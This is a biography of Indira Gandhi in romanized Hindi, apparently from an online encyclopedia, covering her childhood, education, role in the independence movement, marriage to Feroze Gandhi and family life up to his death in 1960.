इंदिरा गाँधी

iandira gaandhi vishay soochi

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iandira gaandhi
|200px|center
poora nam	iandira priyadarshani gaandhi
any nam	indu
janm	19 navambar, 1917
janm bhoomi	ilahabad, uttar pradesh
mrityu	31 aktoobar, 1984
mrityu sthan	dilli
mrityu karan	hatya
pati/patni	firoz gaandhi
santan	rajiv gaandhi aur sanjay gaandhi
smarak	shakti sthal, dilli
prasiddhi	1971 ke bharat -pakistan yuddh mean bharat ki vijay
parti	kaangres
pad	bharat ki tritiy pradhanamantri
kary kal	19 janavari, 1966 se 24 march, 1977, 14 janavari, 1980 se 31 aktoobar, 1984
vidyalay	vishvabharati vishvavidyalay bangal, ianglaiand ki aauksaford yoonivarsiti, shaanti niketan
bhasha	hindi, aangrezi
jel yatra	aktoobar, 1977 aur disambar, 1978
puraskar-upadhi	bharat ratn samman
vishesh yogadan	baianko ka rashtriyakaran

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iandira priyadarshani gaandhi (janm- 19 navambar, 1917 ilahabad - mrityu- 31 aktoobar, 1984 dilli) n keval bharatiy rajaniti par chhaee rahian balki vishv rajaniti ke kshitij par bhi ve ek prabhav chho d geean. shrimati iandira gaandhi ka janm neharu khanadan mean hua tha. iandira gaandhi, bharat ke pratham pradhanamantri pandit javaharalal neharu ki ikalauti putri thian. aj iandira gaandhi ko sirf is karan nahian jana jata ki vah pandit javaharalal neharu ki beti thian balki iandira gaandhi apani pratibha aur rajanitik dridhata ke lie 'vishvarajaniti' ke itihas mean jani jati haian aur iandira gaandhi ko 'lauh-mahila' ke nam se sanbodhit kiya jata hai. ye bharat ki pratham mahila pradhanamantri thian.

jivan parichay

inaka janm 19 navambar, 1917 ko ilahabad, uttar pradesh ke anand bhavan mean ek sampann parivar mean hua tha. inaka poora nam hai- 'iandira priyadarshani gaandhi'. inake pita ka nam javaharalal neharu aur dada ka nam motilal neharu tha. pita evan dada donoan vakalat ke peshe se sanbandhit the aur desh ki svadhinata mean inaka prabal yogadan tha. inaki mata ka nam kamala neharu tha jo dilli ke pratishthit kaul parivar ki putri thian. iandiraji ka janm aise parivar mean hua tha jo arthik evan bauddhik donoan drishti se kafi sanpann tha. at: inhean anand bhavan ke roop mean mahalanuma avas prapt hua. iandira ji ka nam inake dada pandit motilal neharu ne rakha tha. yah sanskritanishth shabd hai jisaka ashay hai kaanti, lakshmi, evan shobha. inake dadaji ko lagata tha ki pautri ke roop mean unhean maan lakshmi aur durga ki prapti huee hai. pandit neharu ne atyant priy dekhane ke karan apani putri ko priyadarshini ke nam se sanbodhit kiya jata tha. chooanki javaharalal neharu aur kamala neharu svayan behad suandar tatha akarshak vyaktitv ke malik the, is karan suandarata ke mamale mean yah gunasootr unhean apane mata-pita se prapt hue the. inhean ek ghareloo nam bhi mila jo iandira ka sankshipt roop 'iandu' tha.

mata-pita ka sath

iandira ji ko bachapan mean mata-pita ka zyada sath nasib nahian ho paya. pandit neharu desh ki svadhinata ko lekar rajanitik kriyaoan mean vyast rahate the aur mata kamala neharu ka svasthy us samay kafi kharab tha. dada motilal neharu se iandira ji ko kafi sneh aur pyar-dular prapt hua tha. iandira ji ki paravarish naukar-chakaroan dvara hi sanpann huee thi. ghar mean iandira ji ikalauti putri thian. is karan inhean bahan aur bhaee ka bhi koee sath prapt nahian hua. ekaant samay mean vah apane gudde-gu diyoan ke sath khela karati thian. ghar par shiksha ka jo prabandh tha, use paryapt nahian kaha ja sakata tha. lekin aangrezi bhasha par unhoanne achchha adhikar prapt kar liya tha.

vidyarthi jivan

iandira ji ko janm ke kuchh varshoan bad bhi shiksha ka anukool mahaul nahian upalabdh ho paya tha. paanch varsh ki avastha ho jane tak balika iandira ne vidyalay ka mukh nahian dekha tha. pita javaharalal neharu desh ki azadi ke aandolan mean vyast the aur mata kamala neharu us samay bimar rahati thian. ghar ka vatavaran bhi padhaee ke anukool nahian tha. kaangres ke karyakartaoan ka rat-din anand bhavan mean ana jana laga rahata tha. tathapi pandit neharu ne putri ki shiksha ke lie ghar par hi shikshakoan ka iantazam kar diya tha. balika iandu ko anand bhavan mean hi shikshakoan dvara padhaya jata tha. [[chitr:Jawahar-Lal-Nehru-Family-2.jpg|thumb|left|javaharalal neharoo apani patni kamala neharoo aur beti iandira gaandhi ke sath]] pandit javaharalal neharu shiksha ka mahattv kafi achchhi tarah samajhate the. yahi karan hai ki unhoanne putri iandira ki prathamik shiksha ka prabandh ghar par hi kar diya tha. lekin aangrezi ke atirikt any vishayoan mean balika iandira koee vishesh dakshata nahian prapt kar saki. tab iandira ko shaanti niketan skool mean padhane ka avasar prapt hua usake bad unhoanne baidamiantan skool tatha aauksaphord yoonivarsiti mean adhyayan kiya. lekin iandira ne padhaee mean koee vishesh pravinata nahian dikhaee. vah ausat darje ki chhatra rahian.

pandit neharu aangrezi bhasha ke itane achchhe jnata the ki l aaurd mauantabelan ki aangrezi bhi unake samane phiki lagati thi. is prakar pita dvara aangrezi mean likhe ge patroan ke karan putri iandira ki aangrezi bhasha kafi samriddh ho gee thi. iandira ka prathamik bachapan ekaki tha. aant: yah svikar karana hoga ki behad sanpan aur shikshit parivar mean janm lene ke bavazood iandira ko mata-pita ka svabhavik prem aur sanrakshan nahian prapt ho saka jo sadharan parivar ke bachchoan ko samany prapt hota hai. yahi karan hai ki iandira ne bachapan mean aangrezi sahity ki utkrisht pustakoan ka bhi adhyayan kiya un pustakoan se unhean jivan ki gaharaee aur yatharth ka bodh hua. svatantrata sangram mean bhag lene ke karan pandit neharu ko akasar aangrezoan dvara jel ki sazaean pradan ki jati thian. tab vah apani putri iandira ko kafi lanbe-lanbe patr likhate the. un patroan ka mahattv is bat se bhi samajha ja sakata hai ki bad mean inhean 'pita ke patr putri ke nam' pustak ke roop mean hindi tatha aangrezi donoan bhashaoan mean prakashit kiya gaya.

bordiang skool

neharu parivar svadhinata sangram mean juta hua tha, is prakar iandu ki padhaee us prakar aranbh nahian ho saki jis prakar ek sadharan parivar mean hoti hai shiksha ka prabandh ghar par hi kiya gaya tha. 1931 mean inake dada pandit motilal neharu ki mrityu ho jane ke bad yah avashyak samajha gaya ki iandira ko kisi vidyalay mean dakhil karana chahie. is samay iandu ki umr 14 varsh ho chuki thi. ab tak iandu ko ghar par hi adhyayan ka avasar prapt hua tha aur pandit neharu usase santusht nahian the. vah yah bhi samajh rahe the ki ilahabad mean rahate hue unaki putri ki padhaee ho pana sanbhav nahian hai. at: unhoanne iandu ko bordiang skool mean dalane ka phaisala kar liya. thumb|left|iandira gaandhi ki pratima
Statue Of Indira Gandhi

abhivyakti ki kala

inake bad iandira ko poona ke 'pipuls aaun skool' mean dakhila dilava diya gaya. unhean kaksha sat mean pravesh mila tha. inaki sahapathiyoan ki umr inase kafi kam thi. at: kaksha ki chhatraoan ko lagata tha ki ek b di umr ki chhatra unake bich hai. lekin un chhatraoan ko yah jnat nahian tha ki us balika ne jivan ki jis pathashala mean ab tak adhayayan kiya hai, usi ke karan usaki vidyalayi shiksha prabhavit huee hai. iandu ne shighr hi apani bauddhik kshamata ka parichay diya aur skool mean padhae ja rahe sabhi vishayoan ko atmasat karane ka prayas bhi kiya. iandira ko ghar mean rahate hue bhi patr patrikaean tatha pustakean padhane ka shauq tha jo yahaan bhi jari raha isaka ek fayada iandu ko yah mila ki usaka samany jnan pathy pustakoan tak simit nahian raha. use desh duniya ka kafi jnan tha aur vah abhivyakti ki kala mean bhi nipun ho gee thi. vidyalay dvara ayojit hone vali vad vivad pratiyogita mean usaka koee sani nahian tha.

shaanti niketan

1934 mean iandira ne 10vian kaksha ki pariksha uttirn kar li ab age ki padhaee karane ke lie use aise vidyalay mean jana p d sakata tha jahaan bharatiy sanskriti se sanbandhit padhaee nahian hoti thi aur sabhi k aaulej aangrezoan dvara sanchalit hote the. kafi soch-vichar ke bad pandit neharu ne nishchay kiya ki vah apani beti iandira ko shaanti niketan mean padhane ke lie bhejeange. gurudev raviandranath taigor un dinoan kolakata se kuchh doori par prakritik vatavaran mean 'shaanti niketan' namak ek shikshan sansthan chala rahe the. shaanti niketan ka sanchalan gurudev evan prachin ashram vyavastha ke anukool tha. vahaan ka rahan-sahan evan samany jivan sadagi se paripoorn tha. iandira ka svasthy bhi in dinoan bahut achchha nahian tha. at: pandit javaharalal neharu ne apani beti ka dakhila shaanti niketan mean karava diya. yahaan iandu ne svayan ko poornataya ashram ki vyavastha ke anusar dhal liya.

iandira pratibhashali thian. aur unaka sahaj jnan bhi any bachchoan se kafi behatar tha. is karan vah shighr hi shaanti niketan mean sabhi ki priy ban gee. shiksharthi bhi unaka samman karane lage. shaanti niketan mean rahate hue iandira ko khadi ki sa di pahanani p dati thi aur varjit sthaloan par nange pair hi jana hota tha. shaanti niketan ka anushasan kafi k da tha. samany: amiri mean pale bachchoan ke lie vahaan tik pana kathin tha. lekin iandira ji ne sakht anushasan tatha any niyamoan ka poornataya palan kiya yahaan ane ke bad unake svasthy mean bhi apekshit sudhar ke sanket dikhane lage. pandit javaharalal neharu ki beti iandira ji ko gurudev raviandranath taigaur bhali-bhaanti janate the. isi karan iandira par unako vishesh kripa drishti rahati thi. gurudev ne shighr hi jan liya ki iandira namak yah kishori behad pratibhavan hai. yahi karan hai ki vah gurudev ke priy vidyarthiyoan mean se ek ban gee. iandira mean adhyayan se itar lok kala aur bharatiy sanskriti mean bhi ruchi jagrat ki gee. iandu ne shighr hi manipuri shastriy nrity mean dakshata hasil kar li. usaka nrity kafi manamohak hota tha.

shaanti niketan ki ek atirikt visheshata yah thi ki vahaan ke sabhi adhyapak apane vishayoan ke dhurandhar jnata the. yah unaki vidvatta ka hi pariman tha ki iandira ne jnanarjan karane mean achchhi gati dikhaee. lekin shaanti niketan mean rahate hue iandira apani padhaee poori n kar sakian jabaki vah vahaan ke vatavaran se kafi prasann thian. lekin iansan ka bhagy bhi kafi prabal hota hai aur usake adeshoan ko svikar karana hi p data hai.

aauksaford yoonivarsiti

pandit neharoo apani priy beti ki shiksha ko lekar bahut chiantit the. kafi sochane ke pashchat unhoanne iandira ka dakhila aauksaford yoonivarsiti (ianglaiand) mean karava diya. iandira ne apana dhyan padhaee ki or laga diya. lekin ianglaiand mean rahate hue bhi vah vahaan rah rahe bharatiyoan ke sanpark mean thian. un dinoan ianglaiand mean 'iandiya lig' namak ek sanstha thi jo bharat ki azadi ke lie nirantar prayasarat thi. iandira ji mean deshaseva ka prasphutan barasoan poorv hi ho chuka tha, is karan vah bhi iandiya lig ki sadasya ban geean aur unake karyakalapoan mean apana yogadan dene lagian. vahaan iandira ji ka parichay pandit neharoo ke mitr krishna menan (jo bad mean bharat ke raksha mantri bhi bane) ke sath hua. krishna menan ek vidvan vyakti the. unaka sanbandh vishv ke anek khyatanam vyaktiyoan se tha. shri menan ke sannidhy se iandira ji ko yah labh hua ki vah vishv ke mahan rajanitijnoan aur unaki vicharadharaoan ko samajhane mean saksham ho geean lekin aauksaford yoonivarsiti se iandira gaandhi ko koee bhi upadhi nahian prapt ho saki. pratham vishv yuddh chhi d chuka tha. jarmani ne ianglaiand ke viruddh yuddh chhe d diya tha. mitr deshoan ki senaean ianglaiand ke sath thian lekin hitalar ka pal da bhari tha. aise mean iandira ka ianglaiand mean rahana uchit nahian tha. samudri marg par bhi khatara tha magar samay par bharat lautana zaroori tha. atah 1941 mean iandira bharat laut aeean jabaki samudri marg par kafi khatara bana hua tha.

aandolan

iandira par parivar ke vatavaran ka kafi prabhav p da tha. un dinoan anand bhavan svatantrata senaniyoan ka akha da bana hua tha. vahaan desh ki azadi ko lekar vibhinn prakar ki mantranaean ki jati thian. aur azadi ke lie yojanaean banaee jati thian taki aangrezoan ke virodh ke sath hi bharatiy janata ko bhi sangharsh ke lie jagrat kiya ja sake. yah sab balika iandira bhi dekh samajh rahi thi. jab desh mean videshi vastuoan ke bahishkar ka aandolan chal raha tha aur videshi vastuoan ki holiyaan jalaee ja rahian thian tab balika iandira bhi kisi se pichhe nahian rahi. thumb|250px|iandira gaandhi
Indira Gandhi

videshi vastuoan ke bahishkar ka aandolan

iandira ne bhi apane tamam videshi kap doan ko agni dikha di aur khadi ke vastr dharan karane lagi. jab iandu ko toka gaya ki tumhari gu diyaan bhi to videshi haian, tum unaka kya karogi. tab iandu ne b de pyar se saheje ge un khilaunoan ko bhi agni dikha di. beshak aisa karana kathin tha kyoanki pratyek khilaune aur gudde gu diya se iandira ka ek bhavanatmak rishta ban gaya tha jo ekaki jivan mean unaka ekamatr sahara tha. iandu apane parivar ke sangharsh ki bhi gavah banian. 1931 mean jab inaki mata kamala neharu ko giraftar kar liya gaya tab yah matr 14 varsh ki balika thian. pita pahale se hi karagar mean the. isase samajha ja sakata hai ki iandu namak balika apane apako kis had tak akela mahasoos karati rahi hogi. beshak anand bhavan mean naukaroan ki kami nahian thi lekin mata-pita ki maujoodagi se bachchoan ko suraksha ki jo dhal anayas prapt hoti hai, usaki apeksha naukaroan se kadapi nahian ki ja sakati. bachche apani jin jijnasaoan ko mata-pita ke jnan se abhijnat karate haian, usaki poorti naukar nahian kar sakate the.

khadi ke vastr

iandira ko khanapan ki aniyamitata ka bhi samana karana p da aur unaki padhaee bhi badhit huee yah avashy hai ki dada pandit motilal neharu aur poti iandira ka kafi vaqt ek sath gujarata tha. lekin dada bhi apani poti ko paryapt samay nahian de pate the. unhean karyakartaoan ke sath vyast rahana p data tha. lekin ek samay aisa bhi aya jab aangrezoan ne pandit motilal neharu ko bhi giraftar karake jel bhej diya aise mean iandu ki manodasha ki kalpana sahaj hi ki ja sakati hai. ab akeli iandu apana samay kis prakar vyatit karati? samay bitane ke lie vah apane pita ki nakal karane lagi. usane apane pita ko karyakartaoan ko sanbodhit karate hue suna tha. is karan usane bhi hamumr bachchoan ko ekatr karake bhashan dene ka kary aranbh kar diya. bhashan dete samay vah mej par kh di ho jati thi aur mej dvara manch ka kary liya jata tha. is samay vah khadi ke vastr aur gaandhi topi prayog karati thi. is prakar bachapan mean hi sangharshoan ki dhoop ne iandira gaandhi ko yah samajha diya tha ki koee bhi chiz asani se upalabdh nahian hoti. usaki prapti ke lie iansan ko dridh pratijn hona chahie.

vanar sena ka gathan

rajaneta aur janasadharan, donoan hi azadi ke andolanoan mean barabar ke bhagidar the. nanhi iandira ke dil par in sabhi ghatanaoan ka amit prabhav p da aur 13 varsh ki alpayu mean hi unhoanne 'vanar sena' ka gathan kar apane iradoan ko spasht kar diya. is prakar iandira ka bachapan vishay paristhitiyoan se charitrik gunoan ko prapt kar raha tha. bhavishy़ mean iandu ne jo fauladi vyaktitv prapt kiya tha, vah pratikool paristhitiyoan se hi nirmit hua tha. iandu ne apane kishoravay mean svadhinata sangram mean vibhinn prakar se sakriy sahayog bhi pradan kiya tha. unhoanne bachchoan ke sahayog se vanar sena ka nirman bhi kiya tha jisaka netritv vah svayan karati thian. vanar sena ke sadasyoan ne desh seva ki shapath bhi li thi svatantrata aandolan mean is vanar sena ne aandolanakariyoan ki kee prakar se madad ki thi. kraantikariyoan tak mahattvapoorn soochanaean bhi inake madhyam se pahuanchaee jati thian. sath hi samany janata ke madhy jaruri sandeshoan ke parche bhi inake dvara vitarit kie jate the. iandira ki is vanar sena ka mahattv is bat se samajha ja sakata hai ki matr ilahabad mean isake sadasyoan ki sankhya paanch hazar thi. ek bar iandu ne apane pita se jel mean bheant karane ke dauran avashyak likhit dastavejoan ka sanpreshan bhi kiya tha. is prakar balika iandira ne bachapan mean hi svadhinata ke lie sandharsh karate hue yah samajh liya tha. ki kisi bhi rashtr ke lie usaki azadi ka kitana adhik mahattv hota hai.

kamala neharu ki bimari aur nidhan

thumb|250px|iandira gaandhi sangrahalay
Indira Gandhi Museum darasal kuchh samay bad hi ilahabad mean iandira ki mata kamala neharu ka svasthy kafi kharab ho gaya. vah bimari mean apani putri ko yad karati thian. pandit neharu nahian chahate the ki bimar mata ko usaki putri ki shiksha ke karan zyada samay tak door rakha jae. udhar aangrezoan ko bhi kamala neharu ke asvasth hone ki janakari thi. aangrez chahate the ki yadi aise samay mean pandit neharu ko jel bhejane ka bhay dikhaya jae to vah azad rahakar patni ka ilaj karane ke lie unaki har shart manane ko majaboor ho jaeange. is prakar ve pandit neharu ka manobal to dane ka prayas kar rahe the. pandit neharu jab aangrezoan ki shartoan ke anusar chalane ko taiyar n hue to unhean giraftar karake jel mean dal diya gaya. jab pandit neharu ne gurudev raviandranath taigaur ke nam shaanti niketan mean tar bheja gurudev ne vah tar iandira ko diya jisamean likha tha. iandira ki mata kafi asvasth haian aur maian jel mean hooan. is karan iandira ko mata ki dekharekh ke lie avilanb ilahabad bhej diya jae. mata ki asvasthata ka samachar milane ke bad iandira ne gurudev se jane ki ichchha prakat ki.

jarmani mean ilaj

ilahabad pahuanchane par iandira ne apani mata ki rugn sthiti dekhi jo kafi chiantaniy thi. bharat mean us samay yakshma ka maqool ilaj nahian tha. unaka svasthy teji se big data ja raha tha. yah 1935 ka samay tha. tab d aauktar madan atal ke sath iandira ji apani mata ko chikitsa hetu jarmani ke lie prasthan kar geean. pandit neharoo us samay jel mean the. char mah bad jab pandit neharoo jel se riha hue to vah bhi jarmani pahuanch ge. jarmani mean kuchh samay tak kamala neharoo ka svasthy thik raha lekin yakshma ne phir zor pak d liya. is samay tak vishv mean kahian bhi yakshma ka ilaj nahian tha. haan, yah avashy tha ki paha di sthanoan par bane senitoriyam mean rakhakar marizoan ki ziandagi ko kuchh samay ke lie badha diya jata tha. lekin yah kamala neharoo ke rog ki praranbhik sthiti nahian thi. yakshma apani prachand sthiti mean pahuanch chuka tha lekin pita- putri ne har nahian mani.

pandit neharoo aur iandira kamalaji ko svitjaralaiand le ge. vahaan unhean laga ki kamala ji ke svasthy mean sudhar ho raha hai. lekin jis prakar bujhane vale dipak ki lau mean aantim samay prakash tivr ho jata hai, usi prakar svasthy sudhar ka yah sanket bhi bhramapoorn tha. rajarog ko apani bali leni thi aur faravari 1936 mean kamala neharoo ka nidhan ho gaya. 19 varshiya putri iandira ke lie yah bhari shok ke kshan the. mata ki judaee ka aghat sahan kar pana itana asan nahian tha. un par mata ki rugn samay ki smritiyaan havi thian. pandit neharoo ko bhay tha ki mata ke nidhan ka dukh aur ekaant mean mata ki yadoan ki pi da kahian iandira ko avasad ka shikar n bana de. iandira mean avasad ke aranbhik lakshan nazar bhi ane lage the. tab pandit neharoo ne yoorop ke kuchh darshaniy sthaloan par apani putri iandira ke sath kuchh samay gujara taki badale hue parivesh mean vah atit ki yadoan se mukt rah sake. isaka maqool asar bhi hua. iandira ne vidhi ke kar vidhan ko samajhate hue halat se samajhauta kar liya.

dampaty jivan

1942 mean unaka vivah phiroz gaandhi se hua. unake do putr hue- rajiv gaandhi aur sanjay gaandhi. rajiv gaandhi bhi bharat ke pradhanamantri rahe haian. [[chitr:Jawahar-Lal-Nehru-Family.jpg|thumb|250px|neharoo parivar]]

prem ki bhavana ka uday iandira ke hriday mean bhi hua tha. parasi yuvak firoz gaandhi se iandira ka parichay us samay se tha jab vah anand bhavan mean ek svatantrata senani ki tarah ate tha. firoz gaandhi ne kamala neharoo ko mata man diya tha. jarmani mean jab kamala neharoo ko chikitsa ke lie le jaya gaya tab firoj mitrata ka pharj poora karane ke lie jarmani pahuanch ge tha. landan se bharat vapasi ka prabandh bhi firoj ne ek sainik jahaz ke madhyam se kiya tha donoan ki mitrata is had tak paravan chadhi ki vivah karane ka nishchay kar liya. aisa mana jata hai ki kamala neharoo jivit hotian to is shadi ko asani ke sath svikriti mil sakati thi. kamala ji apane pati ko shadi ke lie vivash kar sakati thian. lekin kamala neharoo unaki madad karane ke lie duniya mean nahian thian. iandira ji chahati thian ki us shadi ko pita ka ashirvad avashy prapt ho lekin pandit neharoo ko us shadi ke lie mana pana asanbhav nahian to kathin avashy tha. vaise firoz gaandhi ko hi iandira se shadi karane ka prastav pandit neharoo ke samane rakhana chahie tha lekin firoj yah himmat nahian kar pae. usane yah dayitv iandira ko hi sauanp diya. iandira ne firoz gaandhi ko shadi ka vachan de diya tha.

iandira ne hi pita ke samane yah bat rakhi ki firoj se shadi karana chahati haian. yah sunakar pandit neharoo avakh rah ge. vah soch bhi nahian sakate the ki unaki beti iandira firoz gaandhi se shadi karana chahati hai jo unake samaj-biradari ka nahian hai. yadyapi pandit neharoo kafi udar hriday ke the lekin unaka samanyat: nazariya yah tha ki shadi sajatiy parivar mean hi honi chahie. svayan unhoanne bhi apane pita pandit motilal neharoo ka adesh mana tha. un dinoan svayan pandit neharoo putri ke lie yogy sajatiy var ki talash kar rahe the taki kanyadan ka uttaradayitv poorn kar sakean. pandit neharoo ne putri se spasht kah diya ki shadi ko manzoori nahian di ja sakati. unhoanne kee prakar se iandira ko samajhane ka prayas kiya lekin iandira ki zid qayam rahi. tab nirupay neharoo ji ne kaha ki yadi mahatma gaandhi us shadi ke lie sahamat ho jaean to unhean koee apatti nahian hogi. lekin gaandhi ji se sahamati prapt karana iandira ka hi uttaradayitv tha.

mahatma gaandhi se svikriti

iandira ko laga ki mahatma gaandhi ko manana unake lie kathin nahian hoga. lekin iandira ki soch ke viparit mahatma gaandhi ne us shadi ke lie iankar kar diya. unhoanne shadi ka virodh kiya. vah bharatiy varn vyavastha ke pakshadhar the aur chahate the ki vivah sanbandh samaj-biradari mean hi hona chahie. yah alag bat thi ki vah sabhi samajoan ke sath samanata ki bat karate the aur unhoanne achhootoan ke uddhar ke lie bahut kuchh kiya tha. mahatma gaandhi ka manana tha ki yah vivah age jakar saphal nahian hoga kyoanki vah kee mayanoan mean asamanata rakhata tha. unhoanne iandira ji ko samajhaya ki jo vivah sanbandh dharm, jati, ayu aur parivarik star mean asaman hoan, ve saphal nahian hote. yadi ek-do aantar hoan to bhi bat mani ja sakati thi. mahatma gaandhi ki aantardrishti kah rahi thi ki iandira aur firoj ka vivah asaphal sabit hoga lekin iandira kuchh bhi samajhane ko taiyar nahian thian. tab mahatma gaandhi ne neharoo ko vivah ke lie svikriti pradan kar di. vah har prakar se iandira ko samajhakar apana dayitv poorn kar chuke the. mahatma gaandhi ki hi salah par iandira ka vivah bina kisi adanbar ke atyant sadagi ke sath sanpann hua. isamean keval ilahabad ke hi shubhachiantak aur qaribi vyakti sammilit hue the. yah vivah 26 march, 1942 ko hua. us samay iandira ji ki umr 24 varsh, 4 mah aur 7 din thi.

us samay kisi hindoo kashmiri yuvati ka 24 varsh ki ayu ke bad bhi avivahit rahana paranpara ke anusar sahi nahian mana jata tha. yahaan pandit neharoo ko asaphal pita mana jaega. unhean iandira ka vivah 20 varsh ki ayu tak kar dena chahie tha. lekin pandit neharoo deshaseva ke kary mean jute hue the. phir patni kamala ki bimari ke karan bhi vah samay par putri ke vivah ka nirnay nahian kar pae the. lekin pandit neharoo ka yah bhi dayitv tha ki vah bimar patni ke samane hi ekamatr putri ki shadi kar dete. lekin honi ko tala nahian ja sakata. iandira ki shadi ho gee. shadi ke bad donoan kashmir ke lie ravana ho ge. kashmir mean kuchh samay gujarane ke bad ve vapas ilahabad laute. iandira punah svadhinata sangram ke apane kary mean jut geean. firoz gaandhi ne bhi unaka poori tarah sath diya. 10 disanbar, 1942 ko unhean ek sabha ko sanbodhit karana tha. nishedhajna lagi hone ke karan donoan ko giraftar karake jel mean dal diya gaya.

rajiv gaandhi ka janm

mukhy lekh : rajiv gaandhi

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naini jel mean iandira ko 9 mah tak rakha gaya. is dauran unaka svasthy buri tarah prabhavit raha. chikitsakoan ne paushtik bhojan aur dava ke sanbandh mean unhean nirdesh bhi die. lekin vah aangrezoan ke samane gi dagi dana nahian chahati thian. unhoanne kisi bhi prakar ka koee virodh pradarshan bhi nahian kiya. jel ke adhikariyoan ka vyavahar bhi unake sath sadashayatapoorn nahian tha. lekin unhoanne behad dhairy ke sath us kathin samay ko par kiya. 13 mee, 1943 ko iandira ji ko jel se riha kiya gaya aur vah anand bhavan pahuanchian. vahaan gahan ilaj ke bad unaka svasthy sudhar paya. udhar firoz gaandhi ko bhi jel se mukt kar diya gaya tha. firoj ne kuchh samay anand bhavan mean gujara. phir iandira apani bua ke pas muanbee chali geean jahaan 20 agast, 1944 ko unhoanne ek putr ko janm diya. yah putr rajiv the. isake bad iandira ji apane putr rajiv ke sath ilahabad laut aeean. [[chitr:Harry-S-Truman-And-Indira-Gandhi.jpg|thumb|250px|left|hari trooman, pandit javaharalal neharoo aur iandira gaandhi
Harry S Truman, Jawaharlal Nehru And Indira Gandhi]]

svabhimani vyakti

firoz gaandhi behad svabhimani vyakti the. ghar damad ke roop mean anand bhavan mean rahana unhean svikar nahian tha. vah chahate the ki unaki apani vyaktigat ziandagi ho aur vah neharoo parivar ka damad hone ke karan n jane jaean. yahi karan hai ki firoz gaandhi ne lakhanoo se prakashit hone vale samachar patr 'neshanal herald' mean mainejiang dayarektar jaisa mahattvapoorn pad sanbhal liya. iandira gaandhi ne patni dharm nibhate hue firoj ka sath diya aur putr rajiv ke sath lakhanoo pahuanch geean. idhar bharat mean azadi ki sugabugahat hone lagi thi. dvitiy vishv yuddh ki samapti ke bad aantarim sarakar ke gathan ki prastavana taiyar hone lagi thi. aantarim sarakar ke gathan ki zimmedari pandit neharu par hi thi. vaisaray l aaurd mauantabetan se vibhinn muddoan par charcha jari thi taki satta hastaantaran ka kary sugamata se sanbhav ho sake. isilie neharooji ko ilahabad chho dakar niyamit roop se dilli mean rahane ki avashyakata thi. aisi sthiti mean iandira gaandhi kafi ulajhan mean thian. unhean ek taraph apane ekaki vidhur pita ka dhyan rakhana tha to doosari tarah pati ke lie bhi unaki kuchh zimmedari thi. is karan unhean dilli aur lakhanoo ke madhy kee-kee phere lagane p date the. pandit neharoo ne iandira gaandhi ke lie dilli mean alag nivas ki vyavastha kar di. unhean doosari santan ke roop mean bhi putr ratn ki prapti huee. 15 sitanbar, 1946 ko sanjay gaandhi ka janm hua.

iandira gaandhi ki zimmedariyaan ab kafi badh gee thian. unhean maan ke roop mean jahaan do bachchoan ki paravarish karani thi aur pati ke prati uttaradayitvoan ka nirvahan karana tha, vahian putri ke roop mean pita ki mushkiloan mean bhi sath dena tha. isake alava deshaseva ki jo bhavana unamean vidyaman thi, use bhi vah nahian tyag sakati thian. iandira ji ke lie yah samay agni pariksha ka tha.

firoz iandira sanbandh

yah svabhavik tha ki lakhanoo se zyada iandira ki avashyakata us samay dilli mean pita ke pas rahane ki thi. donoan putr rajiv aur sanjay bhi trimoorti bhavan mean apane nana ke pas hi a ge the. firoz gaandhi kuchh aantaral par bachchoan se bheant karane ke lie ate rahe. lekin firoj ke hriday mean is bat ki chubhan avashy thi ki iandira ko patni ke roop mean jin kartavyoan ki poorti karani chahie thi, ve beti ke kartavyoan ke sammukh dab ge haian. idhar iandira gaandhi ne vyastata badh jane ke bad bachchoan ki dekharekh ke lie anna namak ek anubhavi mahila ko bataur gavarnes rakh liya. firoz gaandhi ke sath iandira gaandhi ke sanbandh punah samany bane. 1952 ke am chunav mean firoj ko kaangres ka tikat diya gaya aur vah lokasabha ke lie nirvachit bhi ho ge. saansad banane ke bad kuchh samay tak vah trimoorti bhavan mean hi rahe. lekin saansad avas milane ke bad firoj ne trimoorti bhavan chho d diya. parantu iandira gaandhi chahati thian, firoj trimoorti bhavan mean hi rahean. donoan ke dampaty jivan mean yahaan se alagav aranbh ho gaya. iandira gaandhi kafi mahattvakaankshi thian. unake pas bhi bhavishy ke kuchh sapane the.

firoz gaandhi ka alag rahana uchit tha athava nahian- yah bahas ka vishay hai lekin vah patni aur bachchoan se door avashy hote chale ge. firoz gaandhi ke hriday mean patni iandira gaandhi se zyada apane sasur pandit neharoo ke prati narajagi aur k davahat thi. isaka pratyaksh praman us samay dekhane ko prapt hua jab firoz gaandhi ne sansad mean hi neharooji ki alochana aranbh kar di. firoz gaandhi ka yah gairazimmedarana vyavahar rishtoan ki dor ko kamazor karane vala sabit ho raha tha.

bal sahayog ki sthapana

lekin iandira gaandhi ne sab kuchh bhoolate hue bhi apani parivarik ziandagi ko bachae rakhane ka prayas kiya. jab unhoanne bal sahayog namak sanstha ki sthapana ki to firoz gaandhi se bhi isamean sahayog prapt kiya. is sanstha ke madhyam se bachchoan ke utpadan ko sahakarita ke adhar par vikray kiya jata tha. aur arjit labh sab bachchoan mean baant diya jata tha. bachchoan ko prashikshan dene ke lie visheshajnoan ki sahayata bhi li gee thi. iandira gaandhian ne iandiyan kauansil aauph chaild velapheyar ' iantaraneshanal kauansil aauph chaild velapheyar' tatha 'kamala neharoo smriti aspatal' jaisi sansthaoan mean vibhinn dayitv svikar karate hue paropakari karyoan ko aanjam diya.

in sabake sath iandira gaandhi apane pita pandit javaharalal neharoo ke rajanitik karyoan mean bhi unaki sahayogini bani rahian. 1952 mean iandira gaandhi ko 'madars avard' se sammanit kiya gaya. unaki samajik sevaoan ko aantarrashtriy star par saraha gaya. yah vah samay tha jab iandira gaandhi ke donoan putr- rajiv aur sanjay deharadoon ke prasiddh skool 'doon' mean shiksha prapt kar rahe the. matr chhuttiyoan mean hi unhean mata aur nana ka prem prapt hota tha.

firoz gaandhi ka nidhan

firoz gaandhi adhik madira sevan ke karan asvasth rahane lage the. unhean hriday rog ne gher liya tha. phir 1960 mean tisare hridayaghat ke karan unaki mrityu ho gee. us samay iandira gaandhi ki umr 43 varsh thi. aantim samay mean vah apane pati ke nikat maujood thian. is prakar unake vaivahik jivan ka asamayik aant ho gaya. yah iandira ji ke lie shok ka kathin samay tha. pandit neharoo ne is samay apani putri ko dhairy bandhaya aur poora khyal rakha.

desh ka vibhajan

